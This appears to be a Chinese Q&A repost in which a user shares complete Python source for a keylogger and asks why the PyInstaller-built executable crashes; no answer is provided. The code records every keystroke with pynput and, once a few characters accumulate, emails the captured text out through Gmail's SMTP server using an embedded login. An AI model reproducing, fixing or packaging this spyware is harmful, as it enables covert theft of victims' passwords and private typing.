如何将 .py/.pyw 转换为独立的可执行文件?

问题描述

我制作了一个简单的键盘记录程序,但我无法创建一个正常运行的 exec 文件

import smtplib

from pynput.keyboard import Key,Listener

email = 'redacted'
password = 'redacted'
server = smtplib.SMTP_SSL('smtp.gmail.com',465)
server.login(email,password)

full_log = ''
word = ''
email_char = 10

def on_press(key):
    global word
    global full_log
    global email
    global email_char
    if key == Key.space or key == Key.enter:
        word += ' '
        full_log += word
        word = ''
        if len(full_log) >= email_char:
            send_log()
            full_log = ''
    elif key == Key.backspace:
        word = word[:-1]
    else:
        char = f'{key}'
        char = char[1:-1]
        word += char
    if key == Key.esc:
        return False

def send_log():
    server.sendmail(
        email,email,full_log
    )

with Listener(on_press=on_press) as listener:
    listener.join()

print(''' .----------------.  .----------------.  .----------------.  .----------------. 
| .--------------. || .--------------. || .--------------. || .--------------. |
| | ____    ____ | || |      __      | || | _____  _____ | || |   _____      | |
| ||_   \  /   _|| || |     /  \     | || ||_   _||_   _|| || |  |_   _|     | |
| |  |   \/   |  | || |    / /\ \    | || |  | |    | |  | || |    | |       | |
| |  | |\  /| |  | || |   / ____ \   | || |  | '    ' |  | || |    | |   _   | |
| | _| |_\/_| |_ | || | _/ /    \ \_ | || |   \ `--' /   | || |   _| |__/ |  | |
| ||_____||_____|| || ||____|  |____|| || |    `.__.'    | || |  |________|  | |
| |              | || |              | || |              | || |              | |
| '--------------' || '--------------' || '--------------' || '--------------' |
 '----------------'  '----------------'  '----------------'  '----------------' ''')

input()

我尝试使用 pyinstaller,但生成的 exec 文件立即崩溃或出现致命错误。 任何帮助表示赞赏!感谢您的耐心等待! 编辑:致命错误是“无法执行脚本[程序名称]”

解决方法

暂无找到可以解决该程序问题的有效方法,小编努力寻找整理中!

如果你已经找到好的解决方法,欢迎将解决方案带上本链接一起发送给小编。

小编邮箱:dio#foxmail.com (将#修改为@)